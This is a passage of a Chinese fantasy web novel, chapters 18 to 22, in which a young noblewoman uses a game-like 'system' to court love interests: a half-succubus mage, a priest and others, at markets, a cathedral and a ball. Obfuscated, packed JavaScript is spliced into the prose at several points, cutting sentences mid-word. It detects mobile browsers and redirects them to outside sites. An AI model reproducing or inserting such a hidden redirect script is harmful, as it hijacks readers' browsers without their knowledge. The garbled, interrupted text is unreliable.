——就好像内城的垃圾是凭空消失的,而不是一样倒在墙外的河里。 王城居民认为,北境是未开化的蛮荒雪原,而南境则是小偷和盗贼扎堆的混乱之都。 只有这块土地,才是神眷顾之地。 而对于异种来说,王城就显得不那么友好了。 神偏爱人类,这是所有人的共识。 尽管没犯下罪行也不会平白无故地被圣骑士带走,但被强大的威压笼罩着,总归是生活得不太愉快的。 因此,在王城久居的异种一定是十分强大的。 比如王城最娇艳的玫瑰,奥利维亚夫人。 她的家中一年四季都在开着晚会,这里是全世界最快乐的地方——或者说奥利维亚夫人决不允许任何不愉快的事情在这里发生。 所有男人都希冀获得一张来自她的邀请函,那张写下她名字的卡片就好像拥有无尽的魔力,能让人忘记一切悲伤,只余下欢愉。 为了给年轻人一点空间,奥利维亚夫人总会在聚会开始后不久退场。 因为只要她还在,就没有男人能将目光从她的身上移开。 哪怕是聚会最酣热的时分,只要她端着酒杯款款从人群中穿过,即使一言不发,仅仅面带微笑,也足以让嘈杂的声音短暂地停滞片刻,乐师也会情不自禁地放下手中的里拉琴,痴痴地望着那道优美的身影。 奥利维亚夫人太美了,美到甚至带了一丝羞涩——这种羞涩并不是扭捏,恰恰相反,她在为自己异于常人的美貌而抱歉,她似乎想稍微做点遮掩来减少落在她身上的目光,却无济于事,因此而感到不好意思和羞涩。 而这丁点羞涩,又进一步让她的魅力更动人心魄。 而更为神奇的是,年轻的姑娘们也十分喜爱这位总成为全场焦点的女人。 或者说,在她面前,一切嫉妒都被绝美的容貌消弭了,无论是雪白的舞裙,还是镌绣了粉蔷薇的晚礼服,或是她雪白脖颈里的蝴蝶项链,所有的饰品和衣服在她身上都会表现出绝美的效果,而奥利维亚夫人戴过的哪怕一对最简单的珍珠耳环,也会成为女孩们争相抢购的佳品。 这样一位夺目的夫人,却有着一个世界上最古板的儿子,一个住在乡下庄园里,整天和试剂、卷轴、魔法为伍的冷淡孤僻的儿子。 布利斯从不参加母亲的聚会。 不仅如此,他甚至极少踏进母亲的家。 自从十五岁第一次发情后用药剂抑制住之后,他就从那个吵闹的宅子里搬了出去。 这种不受控制的进食欲望让他觉得特别恶心。 他讨厌失控的自己,也因此讨厌让自己变得失控的食物。 ——所以在别斯霍拉家第一次闻到那股香味的时候,在饥饿的侵扰下理智溃散的瞬间,布利斯曾产生过极为恶毒的念头。 而母亲不仅不理解布利斯的别扭,还调笑地称他为“偏执的素食者”。 这一方面是因为他不吃荤食,另外一方面则是因为,作为一只混血魅魔,他到现在还是个处男。 “饿得太久的话,可是会暴食的哦。”在一次餍足的进食之后,母亲曾这样劝过他:“我像你这么大的时候,早就能自己捕猎了。” “别插手我的生活方式。”少年不客气地回应道。 因此,当午后倚靠在沙发上休憩的奥利维亚看到儿子过来的时候,还是露出了些许惊讶的表情。 她吩咐女仆上热茶水,然后随意地系上腰间的缎带,随着起身的动作,稍稍合拢了裸露着半个胸脯的大开的外袍,懒散地张口:“小素食者难得有拜访母亲的时候,真是稀奇。” 黑发青年早已习惯母亲的嘲笑,他将路上带来的花递给女仆,然后轻描淡写地说出让对方震惊的话。 “我想结婚,但对方已经订了婚。对此,你有什么好的建议吗?” “等等。”慵懒的美人立刻坐直,美目瞪得浑圆,满脸不可置信:“你说的是一位真实存在的小姐,不是什么代称吧?” “当然,我没有奇怪的癖好。”布利斯对母亲的反问很不满:“幸好她还没有结婚,我认为还不算太晚。” 奥利维亚眨了眨眼,似乎在消化这个消息,半天没有说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我会好好款待她的。” 奥利维亚夫人眸光流转,勾起妩媚迷人的唇瓣,就像一条吐着信子的蛇。 19. 第 19 章 “小姐,这条裙子不适合你。” 罗莎表情严肃,手指捏起裙角向外展开:“你瞧,这种肩袖让您看起来像个倒着悬挂的吊钟。” 挂着眼镜链的精品服饰店老板博迪站立一旁,紧张地搓着手:“小姐,这是王城当下的潮流,您可以在外面披上一件纱织小斗篷,蕾丝边饰会让您看起来十分优雅。” 艾米一言不发,打量着镜中的自己,看起来不怎么高兴的样子。 “恕我直言,小姐,这条裙子配不上您在舞会的第一次亮相。”罗莎在第一次三个字上咬得很重。 镜子前的少女轻叹一口气,流露出提不起兴致的疲惫:“你说的对,这条裙子并不适合我。” “小姐。”博迪着急地推了推滑落至鼻尖的眼镜:“您这么年轻这么美丽,在王城的每晚都会收到舞会的邀请。您一定不想只穿那么几条裙子的,漂亮的小姐每晚都会换上新衣服。” “话虽然是这么说。”少女神色忧郁,长发散落在肩头,荡出脆弱的脖颈:“我已经订购了足够多的新礼裙,好像没必要再买下这几条。” 她摇了摇头,神色中似乎带着几分遗憾,然后示意一旁的金发女仆为自己脱下刚披上的外纱斗篷。 三。 二。 一。 “漂亮的小姐,没人会忍心看到您的美貌在这个春天白白浪费。” 博迪终于松口:“我愿意给出一个更低的价格,也希望能看到您穿上我们家的裙子,出现在王城的社交舞会上。” 少女惊讶地睁大了眼睛,浓长的眼睫轻轻颤动,好似受了极大的恩情:“您真是太好心了,博迪先生。可是我并不想这么引人注目。况且——” 紧接着,她露出了温和的、但带着悲伤的微笑:“我失去了父亲,在王城也没有亲人,为了参加舞会还需要再买和礼服相配的首饰,已经没有更多的金币了。” 博迪先生听完就有点着急,他一着急就上头,一上头就说出了一个低得过头的数字。 “真的吗?”少女几乎是立刻发出了惊呼,栗色的眸子盛满了感动的喜悦:“天呐,我简直不知道应该说什么才好了,您是我见过最和善友好的绅士。” “我会穿着这几条漂亮的裙子出现在舞会上的,特别是奥利维亚夫人家的晚宴,我听说被邀请出现在那里的姑娘都会做最精心的打扮,我想到时候一定会有很多小姐会爱上这条裙子光滑的缎带。” “罗莎,你还在愣着做什么,快把金币拿给博迪先生吧。” 可怜的博迪先生被对方突然加快的节奏乱了头脑,五分钟后,他提着金币走出了艾米小姐的住处。 ——总感觉有什么不对劲,但具体哪里不对劲还没搞清楚。 而屋内,捧着新裙子美滋滋的艾米正在和确认下个即将到访的珠宝商时间。 “好,再确认一下我们的策略。” 罗莎点点头,目光坚定:“首先,绝对不能露出惊喜的表情;其次,无论什么都要说不好看、不合适。” “你刚才做的就很好。”艾米用鼓励的语气继续说道:“而且,因为你很漂亮,所以你说出的‘这件衣服不好看’的话更令人信服。” 罗莎有些害羞地抿起唇,新老板总喜欢用这样诚恳和真诚的目光说一些夸奖她的话,这让常年和佣兵混在一起的半精灵有点不习惯。 “最后,在收到你的暗示之前,坚持重复以上步骤,直到砍到最低价。” 领主小姐笑眯眯地鼓掌:“没错,你学得很快。” 系统发出了熟悉的阴阳怪气:“你就将你的美貌和演技浪费在讨价还价上吗?如果你愿意在男人身上这么花心思的话,也不会到现在还只解锁了两个男主了。” 这种嘲讽艾米一律装作没听到,能省的钱为什么要浪费?她又不是洛克公爵那种冤大头。 离开永夜城之前,她用一年八百金币的超低价格租下了哈尔男爵的泥巴湾。 这还要多亏了圣殿门口的遇袭,哈尔那个老东西吓坏了,艾米一口咬定禁忌魔法和他有关,而布利斯在一旁几乎是默认的态度,于是他只能像送瘟神一样把自己的领地半租给了她。 古德先生也从托利亚寄来了新的信件,南境的商人并不像她想象的那么好糊弄,他们在信里委婉拒绝了领主小姐的请求,并强调,这不是他们不愿意帮忙,而是北境的温度不适合珍珠的生长。 不过这封信并不是毫无价值,商人提到了一个人名,是学塔的亚兰阁下。 其中大概意思是,北境养不了珍珠也不是他们说的,是学塔的学者说的,如果您要找麻烦,也去找那位亚兰阁下吧,他久居学塔,一找一个准。 学塔在河间谷地,距离王城不远,艾米打算返程时顺便去看看,如果这位亚兰阁下是个大帅哥,那八成也是攻略对象了。 至于她昏迷前听到的提醒,雷尔夫并没有打听出什么结果。 来参加纳维公爵葬礼的都是北境的贵族,名单上的人艾米全都认识,老的老丑的丑,没有一个好看的。 班森神官则没有任何异常。 他在玛利亚圣殿工作了二十年,连雷尔夫小时候都去过圣殿接受过他的洗礼。无论从外表看还是暗中调查的结果,都显示班森是个极为虔诚的神的信徒,他为人和善,风评极佳,私底下也坚守本心,并没做过什么恶事。 在得知艾米昏迷的消息后,他沉默了片刻,然后诵念了祈福的祷词,并继续保持着他二十年如一日的生活习惯,没去过圣殿之外任何奇怪的地方,也没接触任何信徒之外的奇怪的人。 艾米没把对班森神官的怀疑告诉其他人。 如果说之前她的敌人躲在暗处,那现在,窥探的那方要换成她了,只要背后的人还不死心,就一定能等到他再次出手暴露身份的那刻。 来到王城后,雷尔夫便一直在外调查这件事,而她则和罗莎一起,每天在住处等着不同的商人送上时新的衣服和珠宝首饰。 ——除了洛克公爵送来的那匣子珠宝,贫穷了十八年的领主小姐确实没有几件足够体面的礼裙能够参加社交舞会。 等到珠宝商人离开后,罗莎建议艾米出去走走。 “小姐,你应当体验一下王城的春天,这是这座城市最美的时候。”半精灵这么提议道。 这几天的相处下来,她对艾米小姐产生了很好的印象,她是位难得的好雇主,却也不可避免地有着和大多数贵族小姐一样的坏习惯——不怎么喜欢出门。 出于一种朴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14094085|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素的好心,或者说从精灵的审美来看,罗莎认为小姐需要再多一点运动。 而领主小姐正懒散地窝在沙发上看书。 再过几天,王城的社交季就要开始了,到时候她必须每天每晚地和各种陌生人一起喝酒、聊天,挤出僵硬得体的笑容,说一些虚假无聊的内容,还要忍受那些愚蠢的男人为了卖弄自己的魅力讲出的荒谬的故事。 太可怕了。 她还是想在这之前好好享受自己独处的时光,连系统时不时催她出门去邂逅男人的提醒都视若无睹。 “你说得对,我是应该呼吸点春天的空气。”领主小姐合上书本起身,却径直推开了阳台的门:“我可以坐在外面看书,这样也能顺便欣赏下春天。” 今天的内城似乎比往日更热闹,人群的声音穿越了几条街道来到了艾米的耳边,她站在窗边眺望远处,生了几分好奇。 罗莎解释道:“我听说中央圣殿今天有活动,圣子将会出现在广场之上,为平民祈福。” “圣子?” 要素察觉。 这种设定很难只是个普通人。 “他好看么?” 虽然不知道小姐为什么这么问但有问必答一向是是罗莎的好习惯。 “是很漂亮的少年呢,甚至有人怀疑过他有我们精灵族的血统。” 领主小姐眼睛一亮,指向远处的半圆形尖塔塔顶:“走吧,我们也去看看。” 中央圣殿的位置并不难找,甚至比皇宫更显眼些,在城市北部的任何一座公馆和宅邸内,都能从窗户看到那座独特建筑的半圆形顶部和旁边高耸的钟塔。 十五分钟后,两人便顺着人流来到了目的地。远处巨大的罗马柱间林立着十二圣骑士的雕像,白色的建筑外墙装饰着刻有不同花纹图案的彩色玻璃,最上方砖红色的半圆形弧形圆顶在近处显示出更为肃穆的威压。 圣殿的四周的广场被高大整齐的树木环绕,只有门口阶梯之下有大片的空地,而此刻,这里密密麻麻挤满了人。 “小姐,我们这个位置好像根本看不清圣子。”罗莎皱起眉头,思考片刻后说:“这样吧,我把您送到那边的树上怎么样?” 她是半精灵,树林对她来说和平地没什么区别。 艾米几乎没怎么纠结就点了头,反正王城也没什么人认识她,爬个树而已,她在北境的时候也不是没爬过。 等到两人找到一个舒服的树桠坐下后,仪式也即将开始了。 金色短发的少年穿着单薄的白色长袍,赤脚缓缓踏上了红色的地毯,从树上的角度,只能看到他侧面尖尖的下巴。 如果能抬点头就好了。 就在这个念头产生的下一秒,金发少年朝着艾米的方向仰起了头。 一张动人心魄的圣洁的面庞就这么猝不及防地出现在两人视野里。 罗莎抓着小姐的手,震惊得喃喃自语:“他比我见过的所有精灵都更像精灵——除了耳朵不是尖的。” 而此刻她的小姐正在一旁悄悄滑动系统,等待提示音的响起。 十秒之后,淡粉色的屏幕没有任何变化。 没有弹窗、没有提示、没有解锁任何角色立绘。 艾米立刻对他失去了兴趣。 20. 第 20 章 圣台之上,漂亮的金发少年的声音经由他喉结处的金色蝴蝶而响遍整个广场。 那是一只由黄金打造、蝶翼上镶嵌了黑曜石的魔法道具,也是光明神的象征。 据说一千年前,光明神就是化身为蝴蝶,在这块大路上选中了人类作为祂的眷属。在暴雨之中,一位奄奄一息的少年在生命的最后时刻用手护住了停在花朵上的蝴蝶,神被他的温柔打动了,落在了他的肩上。 这位少年,是神的第一个孩子,也是圣殿的第一任圣子。 ——这种漏洞百出的故事也有人信,光明神的教徒应该很适合被推销保健品。 艾米坐在树桠上,百无聊赖地晃着小腿:“仪式还有多久才会结束?” 罗莎摇了摇头表示并不知道:“这种活动我也是第一次参加,毕竟光明神可不庇佑我们半精灵。” “不过小姐,你作为人类也不信仰光明神吗?” “托利亚的教堂十几年前就荒废了,这么说来,我的领地也算是半个‘神弃之地’吧。”艾米耸耸肩。 两人又在树上晃了一会,半精灵小声分享了自己最近打听到的王城里的八卦,下方广场上,圣子还在用一成不变的嗓音念着祷词——初听有几分空灵,到现在只觉得催人入眠。 就当她们准备离开时,系统提示音终于姗姗来迟地出现。 树上的视野极好,因此艾米几乎是在声音响起的第一时间,就看到了远处那个挺拔的英俊男人。 他有着和圣子类似的金色蓬松短发,这种能让人联想到阳光的漂亮金色就像在明目张胆地彰显着光明神的偏爱,男人穿着圣职人员的衣服,看起来应当是中央圣殿的神官之一,怀中抱着一本厚重的金色三圣经,封皮上是光明神的徽印。 “你知道他是谁吗?”艾米将他指给罗莎看。 半精灵只用一眼就认出了男人的身份:“那是米迦尔神官。” 这位漂亮的金发姑娘说罢就将身体转过来,表情端正且严肃:“小姐,就算您的领地是神弃之地,您也不应该不认识他!” 艾米露出疑惑的神情。 “他可是圣殿唯一的瑰宝!”半精灵双手摊开捧在胸口,白皙的脸庞透出一丝不合时宜的粉色:“您居然没听说过米迦尔神官的名字,小姐,您这些年过的是什么苦日子啊!” “米迦尔神官,是世界上最温柔,最善良的人。他无所不知,无所不能,任何人只要向他寻求帮助,就能获得从困境挣脱而出的力量。” 艾米忍不住打断罗莎的话:“等等,这么多人都想要帮助的话,他忙得过来吗。” “不,小姐,你没明白我的意思,米迦尔神官的温柔和善良就像阳光一样,公正且慷慨。他愿意不分种族、不分阶层地帮助每一个人。” “我在布佛里托见过他一次,那是神诞日前的几天,商铺的人在鞭打一个小偷,这种事情在宝石之城太常见了,没人会在意,但那天有点不一样,那个小偷是个提夫林,就是恶魔之子,你们北境人应该没见过。当然,就算是在那座遍地佣兵的城市,也很多年没人见过提夫林了,我活了一百三十五岁,上次见到提夫林还是三十年前....” “罗莎,讲重点。” 半精灵立刻从跑题中回神:“哦,对,然后那个提夫林被打得奄奄一息。他倒也不冤枉,因为外貌的原因,没什么工作给他做,于是他只能靠偷东西去黑市卖钱过活。幸好是在布佛里托那种地方,街道上全是戴着兜帽神神秘秘的家伙,所以只要不主动不掀开帽子,也没多少人注意得到他。” “总之,那天,他又被打了一顿丢了出去。” “直到米迦尔神官经过,停在他的面前,问有什么能帮他的。” “那小子哆哆嗦嗦地说,自己要金币,很多很多金币,能将他全部淹没的那种。” “米迦尔神官温柔地说,不对,你想要的不是这个。” “他说,神听到了你的愿望,但神不会回应在荒野上迷路的孩子。” 罗莎的声音微微颤抖:“米迦尔神官说话的时候,整条街都安静了下来。” “提夫林也迷糊了,他问,他需要付出什么代价。” “米迦尔神官把手掌放在他头顶的恶魔角上说,你不需要付出任何代价,你只需要认真地向神祈求而已。” “就是这么神奇,第二天,那个恶魔之子头上属于提夫林的恶魔角就消失了,他所有非人的特征都不见了,彻底地、从内到外地变成了人类。” “这种事情我也是第一次见到,这种生下来就决定的事情,居然还有能改变的可能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14129396|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 考虑到这是个真的有魔法的世界,所以艾米没有怀疑这件事的真实性。 再说了,那个提夫林也不一定是“变成人”,而极有可能只是外表和人一样了而已。 “可以让雷尔夫去试试找米迦尔神官,他说不定能找到解除狼人诅咒,变成人的办法。”半精灵提议道。 艾米却很警惕。 这世界上从来就没有免费的午餐,自然也没有不付出任何代价就能获得馈赠的道理。 那些不被标注价格的礼物,暗中更有可能附加了更危险的条件。 因此,她总觉得这个故事听起来似乎隐隐有哪里不对。 “小姐。”罗莎突然小声喊了她一声,那丁点不明所以的奇怪也因此被冲散:“我们不会被发现了吧?” 顺着半精灵的目光看去,远处的金发神官似乎朝着二人所在的位置侧了点身,他微微抬起头,好像隔着繁茂的枝叶注视着她们。 被目光精准锁定的半精灵有点紧张地搓了搓手指:“小姐,我觉得,我们现在最好先走了。” 两个对神没有一点敬畏的家伙鬼鬼祟祟地爬在树上看圣子的长相,因为这样的事情被中央圣殿的人抓住,未免有点太尴尬了。 ——她是无所谓,可她的雇主还是个没结婚的贵族小姐。 她用手臂揽住小姐的腰,却发现怀里的少女正直愣愣地望着米迦尔神官的方向,一言不发。 “小姐?”半精灵再次小声询问。 艾米好像这才反应过来,声音飘忽不定,似乎还没回过神:“好,我们现在走吧。” 她的视线再次飘到粉色的屏幕上,看着上面米迦尔的信息图鉴,恍惚间耳畔似乎传来蒸汽机的轰鸣。 与此同时,罗莎轻快的声音飘在风中,落在她另一边的耳朵里。 “对了,小姐,你知道吗?” “米迦尔神官是圣子的哥哥,他们都是在贫民窟出生的。” “那看来光明神真的很眷顾这对兄弟。” 艾米嘴角上扬,心情愉悦地回应。 她感受着和北境完全不同的温柔的春风轻拂脸颊,畅快之意在体内蒸腾。 煤矿。 米迦尔提供的加成居然是煤矿。 是这个世界从未出现过的煤矿。 21. 第 21 章 在内河的南岸,耸立着一栋栋漂亮的建筑,这里是王城贵族们聚集的地方,奥多芙公主的公馆也在此处。 艾米是为数不多跨越内河、从王城北部过来赴会的贵族小姐,等她来到公主的宅邸时,客人已经到了一半多。 站在门口的侍从引领着她穿过前厅,沿着铺设了红色地毯的楼梯拾阶而上,朝喧嚣和明亮舞会厅走去,跟在一旁的罗莎正在小声地为自家小姐介绍那些她认识的先生太太们。 艾米找了个不引人注目的角落站着,一开始她还为半精灵知道这么多贵族的秘辛而惊讶,但听到后面,发现翻来覆去都是类似的八卦。 “谁说不是呢,小姐。”罗莎端着老气横秋的语气:“二十五年前我也接过一次保护贵族的长期委托,那位小姐最喜欢的就是跳舞,每晚都会出现在不同的宴会厅里,我就站在门房和侍从聊天,如今我重新回来王城,发现这些竟然没什么变化,只是故事的主角从当年的太太变成她的女儿而已。” 周围突然传来一阵骚动,细碎的脚步声在嘈杂的人群间蔓延,音乐也换了曲调,从悠扬随意的乡村小曲变成了恢弘的竖琴管笛。 是奥多芙公主来了。 她穿着一条紫色的红丝绒长裙,露出纤细的脊背,就像一盏漂亮的红酒,作为宴会的主人,她从列队的人群中走出,微笑着点头向两边致意。 公主的男伴是一位黑色卷发的青年,也是王国财政大臣的儿子,长得中规中矩,寡淡无味。 艾米本以为能在舞会上刷出新的可攻略对象,结果发现王城的贵族和北境的也差不多,丑得各有差异。 灯光陡然变暗,乐师又换了曲调,在婉转蜜意的黏腻音乐中,公主和男伴走进舞池,随后是亲王和其他皇室成员,大公爵们——艾米看到了迪特克和贝丝这对兄妹俩,但没有洛克公爵,他在信里说他今年不会来。 对于自己的这位便宜未婚夫,艾米的担心多于好奇。 就像她对米迦尔的能力怀有警惕一样,她也同样不相信慷慨的公爵大人是因为可怜一个失去父亲的女孩才选择和自己订婚——如果真的是这样的话,这世界上的女孩他应该娶不过来。 洛克公爵一定对自己有所图。 只是艾米现在还不知道他想要的的是什么,或者说,她不知道自己身上到底有什么价值。 这种未知更令人感到不安。 “这位可爱的小姐。”一位红棕色短发的年轻男人贴了过来,他扯了扯领口,刻意露出自己手上戴着家族徽印的戒指。 没有舞伴的艾米就像猎场里耳朵被打上荧光剂的兔子,即使在漆黑的夜里,也闪着幽光吸引着猎手的注意。 男人伸出手,主动自我介绍:“亨利查尔顿。” 艾米不想在没用的男人身上浪费精力,她将右手指尖轻轻递过去,用两个指节和对方虚握了两秒后就迅速收回:“我叫艾米索莱。” 男人红棕色的头发细软且稀疏,全靠发胶才能它将们以一种体面的方式立起来,这导致他上半身传来一股混合着油脂的古怪香气,但糟糕的是,亨利自己对此一无所知。他凑得更近了,并在听到艾米的姓氏后露出了微笑,这是猎手觉得自己胜券在握时的笑容。 “那么,这位艾米小姐,请问我是否有这个荣幸,请你跳下一支舞呢?” “很不幸,亨利先生。”艾米面无表情,没有任何:“如你所见,我是乡下来的,不会跳舞。” 周围传来不知道是谁噗嗤一声笑,亨利脸青一道白一道,鼻子里发出虚张声势的哼哼唧唧。 罗莎很有眼色地上前一步:“先生,如果您无法理解艾米小姐意思的话,那么恰好我还略懂一些拳脚。” 男人只能忿忿不平地离开,艾米也得以捻起一旁银色小篮子里的黄油曲奇,享受一会独处的时光。 “艾米小姐。”刚才发出笑声的年轻女人走了过来,她朝吃着饼干的少女微微点头,报出了自己的名字:“我叫阿丽萨,我还从来没有见过你,你是哪里人?” “我来自北境的一个小镇子托利亚。”艾米拿过侍从托盘里的毛巾擦掉了手指的碎屑。 阿丽萨笑起来的时候脸颊有一个小小的梨涡,这让她看起来很有亲和力:“你没有带男伴来吗?” “这是我第一次来到王城参加舞会,你从我的姓氏也能看出,我没太多贵族朋友。” “现在你多了一个。”阿丽萨热情直白地表达自己的喜欢:“你真可爱,艾米小姐。” “谢谢,你也是。”艾米端起小巧的银篮子:“要来点吗?” “不了。你订婚了吗?”阿丽萨好奇地问。 艾米又捻起一块饼干,点了点头。 “太可惜了。你只要在王城跳一个月的舞,一定会在整个社交圈都出名的,到时候,多的是想要娶你的男人。哦,对,查尔顿那小子不行,他自己没钱,现在全靠姑母的救济过活。” 半精灵立刻竖起耳朵。 “他的姑母嫁给了比她大足足二十岁的贝尔伯爵,结婚后仅仅十年,伯爵就去世了。”阿丽萨耸耸肩:“所以她现在成为了一个有钱的寡妇。” “真是幸运的女人。”艾米感慨。 “怪不得我对你一见如故呢。”阿丽萨嘴角的梨涡陷得更深了:“女人最重要的就是婚姻,而婚姻最重要的就是金币。” 艾米并不赞同前半句,但觉得后半句很有道理。 抱着不让热情的阿丽萨小姐失望的心态,她点了点头。 “没错,就是这样。我今年已经二十五了,母亲让我一定要在这个社交季把自己嫁出去。”热情的阿丽萨小姐说起这个就像打开了话匣子:“如果这些男人有哪个赶得上布利斯少爷一半的容貌也就罢了,可你瞧瞧,王城的年轻男人就好像被中央圣殿的钟塔轮番碾过一样,不是肿胀就是凹陷,没一个英俊的。所以我现在的目标是哈卡兹家的男人,最好是结过三次婚,五十岁以上,还得了重病的那种。” 艾米忍不住微笑:“祝你好运。” “我听说洛克公爵本人是挺英俊的,但我没见过。你知道的,这种乱七八糟的传闻有些不一定是真,而且他到现在还是单身,想必一定有什么不能言说的隐疾,最主要的是,他也太年轻了,我现在对五十岁以下的男人都没什么兴趣。” 罗莎脸上露出古怪的表情。 但她看自己的小姐,这位洛克公爵的未婚妻,却一副接受良好、完全没觉得被冒犯的模样。 三个人就这么挤在宴会厅的拐角,兴高采烈地聊了起来,完全忘记这是热闹的舞会这回事了,甚至连阿丽萨,这个嘴上说着要在这个春天把自己嫁出去的女人,也把社交这件事抛到了脑后。 即使有男人想过来,还不等走近她们,就全都被罗莎“客气”地请开了。 “抱歉。”罗莎正分过一只耳朵听阿丽萨讲公主今天带来的男伴,乍一看有人靠近,头也不抬地重复今晚讲了好几遍的话:“我家小姐今晚不想跳舞。” 但阿丽萨却闭上了嘴巴,不再说话。 “艾米。” 男人向前一步侧过半精灵的阻拦,用熟稔的语气问道:“我可以请你跳一支舞吗?” 周围出现了短暂的安静。 罗莎抬起头。 面前的是那位据说从不参加宴会的布利斯少爷。 他穿着笔挺的墨绿色绸缎制服,和小姐身上的嫩绿色礼裙很搭,不知道这是巧合,还是大魔导师的把戏。 “我能否有这个荣幸,请你跳一支舞呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14144655|149195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布利斯微微欠身,一只手背在身后,一只手伸向艾米,声音清朗,没有任何黏腻:“...美丽的小姐。” 周围的女眷都将目光落在了这里。 艾米感觉自己头顶就好像出现了一盏聚光灯。 眼前的这个男人,就像拍卖场上用来压轴的名贵翡翠,只要呈上桌面,所有人的目光都会被他吸引,连带着他周围的一切,哪怕只是垫在宝石下的绒布,都会被无数的目光细细打量。 但,为什么不呢? 这可是她的猎物。 片刻之后,艾米轻轻将自己的手搭在了男人的掌心。 布利斯随即牵着她转进舞池,另一只手则礼貌且轻盈地放在她的腰上,温热的掌心透过裙子薄薄的布料渗进肌肤,撩起细密的酥麻。 艾米仰头看到他优雅的下颌线和低垂的视线,恍惚间有些入迷。 和雷尔夫那种北境男人的英俊不同,布利斯的棱角很精致,这让他有种令人移不开视线冷淡的气质。 尤其是当他垂下眼睛的时候。 不对。 她晃了晃头,不过对视了那么几下,自己就被迷得五迷三道,忘了最重要的任务。 刷好感度。 布利斯到现在还是只有25点的好感度。 为什么? 艾米尽量让自己视线落在男人颌线之下,避开那双蛊惑的湖绿色眼睛。 但很快她发现,布利斯上下滚动的喉结,也别有一番风味,这让她仍然无法专注思考原因。 “艾米。” 她感觉布利斯的脸倾了过来,嘴唇几乎擦过她的耳垂。 “你为什么不愿意看我呢?” 薄荷的清香一层层地堆了上来,差点把艾米整个淹没。她咽了口口水,假装镇定地回答:“我只是不喜欢仰着脖子。” 男人不紧不慢的嗯了一声,便没再说话。 他的手没有乱动,身体更没有故意朝怀里的少女贴近,从始至终,布利斯就这么保持着良好的距离,优雅的仪态,一言不发地跳舞。 就和他头顶一动不动的好感度数字一样。 25,跳了一晚上的舞还是25。 艾米甚至有点恼羞成怒。 自己小鹿乱撞地后背酥麻,手脚僵硬,他倒是冷静,用稳妥的力量牵引着她的舞步,或将开始向外旋转的她揽回来。 ——好像他出现在这里就只是为了跳舞而已。 “搞什么嘛。” 直到睡觉前,艾米都为此感到忿忿不平。 她在床上翻来覆去,为布利斯的冷静而恼火,这股恼火背后更为隐秘的不满,是自己都撩起头发,露出耳垂和脖颈,故意用手抚过他的腰,而对方却没有任何反应的不满。 他到底什么意思? 艾米从床上腾地一下坐起来,突然想起自己这段时间攒了一大管羁绊值,早就能在系统商城购物了。 早知道今晚他会出现,她就提前兑换一瓶那个能够读心的药剂来用了。 不过现在倒也不晚。 艾米点开商城,手指放在名为【繁星汲梦】的药剂上。 ——使用后可选定一名对象,进入他的梦境。 就用它了。 【是否使用】 【是】 一瞬间,音乐、嘈杂的人声,以及香气扑鼻的浓郁的脂粉味再次充斥着整个空间。 她回到了晚上的宴会厅里,面前的是微微欠身想邀请她跳舞的布利斯。 周围的一切都和晚上没有任何区别。 唯一不同的是,男人身后出现了一根细长的尾巴,轻轻地蹭上了她的脚踝。 以及,最顶端柔软灵活的桃心,正沿着她裸露的小腿,悄悄向裙底探去。 22. 第 22 章 “我能否有这个荣幸,请你跳一支舞呢?” “美丽的小姐。” 如果忽略裙底正在蹭自己的尾巴,布利斯看起来就像晚上邀请她跳舞时一样正经。 但这种触觉实在难以忽略。 艾米向后退了两步,想借此把乱动的尾巴甩开,但那根调皮的小东西突然用力缠紧,使她脚步踉跄,整个人后仰差点摔倒。 尾巴的主人反应倒是很快,立刻上前揽住了她的腰,手掌收紧,倾身而下,自然得就像这一切是舞步的一部分。 “不必这么心急。”男人的喉间发出沉沉的低笑:“音乐还没到这一节。” 薄荷香气随着布利斯的靠近铺天盖地地裹了上来,艾米感觉身体僵硬,心跳震耳欲聋,连呼吸都无法自如,轻而易举就被牵引着进了舞池。 等到男人的另外一只手想要扣住自己的手指,她才稍微清醒过来。 仅仅一个照面,自己就又被这个男人蛊住了,到底是谁攻略谁? 不甘示弱的领主小姐因此被激起了好胜心。 她不再畏手畏脚地躲避对方的视线,而是仰头和那双湖绿色的眸子对上,挑衅般地弯了弯嘴角。 然后,她径直掀起裙子,露出大腿上的尾巴,没有任何预告地用力地捏上了顶端的桃心。 男人立刻不受控地闷哼了一下,粉色从领口蔓延上脸颊,到最后连耳根都被飞霞染红。 